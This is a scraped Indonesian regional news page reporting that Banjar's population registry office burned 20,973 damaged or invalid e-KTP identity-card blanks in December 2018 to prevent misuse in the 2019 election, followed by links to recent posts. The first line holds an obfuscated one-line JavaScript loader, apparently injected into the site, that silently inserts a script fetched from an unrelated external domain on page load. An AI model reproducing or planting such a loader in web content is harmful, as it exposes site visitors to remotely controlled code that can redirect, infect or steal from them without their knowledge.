(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

20.973 e-KTP Rusak Maupun Invalid Dimusnahkan Disdukcapil Banjar


MARTAPURA, Berdasarkan surat edaran Mentri dalam Negri Nomor 471.13/24149/Dukcapil tanggal 17 Desember 2018, Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil) Kabupaten Banjar gelar pemusnahan ribuan keping blangko e-KTP yang rusak dan invalid di halaman Disdukcapil Banjar, Jumat (21/12).

Kepala Dinas Disdukcapil Kabupaten Banjar Azwar mengatakan adapun e-KTP yang rusak dan invalid tersebut berjumlah 20.973 keping. Pembakaran tersebut menyusul instruksi Kemendagri untuk memusnahkan e-KTP rusak maupun invalid sehingga tidak dipergunakan untuk tujuan kriminalitas maupun pelanggaran pemilu 2019.

“Pemusnahan ini kita lakukan menyusul intruksi Kemendagri agar tidak dipergunakan untuk tujuan pelanggaran pemilu 2019 mendatang,” akunya.

Lebih jauh Azwar mengatakan, e-KTP yang invalid dan rusak tersebut sebelumnya hanya dikumpulkan dan dilakukan pemotongan sebelum dikirim ke pusat sejak akumulasi selama tahun 2012 yang lalu. Namun, seiring maraknya kasus kececer di beberapa daerah, membuat pemerintah pusat menginstrusikan pembakaran sampai e-KTP yang invalid dan rusak tak tersisa lagi.

Ketika ditanya awak media mengapa Disdukcapil Banjar agak terlambat jika dibandingkan daerah lain untuk melakukan pemusnahan e-KTP yang invalid dan rusak tersebut, Azwar menjelaskan dalam pengumpulan e-KTP yang invalid dan rusak memang membutuhkan waktu yang tidak singkat. Mengingat daerah yang tersebar di Kabuapten Banjar mempunyai jarak yang tak dekat.

“Sebenarnya bukan terlambat, namun kita harus mengumpulkan e-KTP yang invalid dan rusak tersebut terlebih dahulu dari 20 Kecamatan yang berada di Kabupaten Banjar sehingga itu memakan memerlukan sedikit waktu,” pungkasnya.

Sementara itu tanggapan serupa juga diutarakan Bupati Banjar KH Khalilurrahman yang mengatakan  adapun e-KTP yang invalid dan rusak tersebut sebagai dalam upaya menghindari hal-hal yang tidak diinginkan terlebih dengan tujuan pelanggaran saat pemilu tahun pemilu.

“Saya mengharapkan dengan dilakukannya pemusnakah yang dilakukan oleh Disdukcapil Banjar ini mampu meminimalisir dan menghindari hal-hal yang tidak diinginkan, terlebih ditahun pemilu ini,” ujarnya. (rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Peringati HKN ke-60, Dinkes HSU Luncurkan Integritas Layanan Primer

KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten  Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More

2 jam ago

Indonesian Hypnosis Centre Kukuhkan Tokoh-Tokoh Ternama Menjadi Instruktur Hipnosis

KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More

2 jam ago

Aksesoris Perayaan Natal di Banjarbaru Ramai Dicari

KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More

5 jam ago

Atlet HSU Raih 1 Emas dan 4 Perunggu Kejurprov Taekwondo 2024

KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More

5 jam ago

Peringatan Hari Bela Negara ke-76, Ini Kata Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More

7 jam ago

Liburan Berujung Maut, Dua Santri Tenggelam di Pantai Jorong

KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More

10 jam ago

This website uses cookies.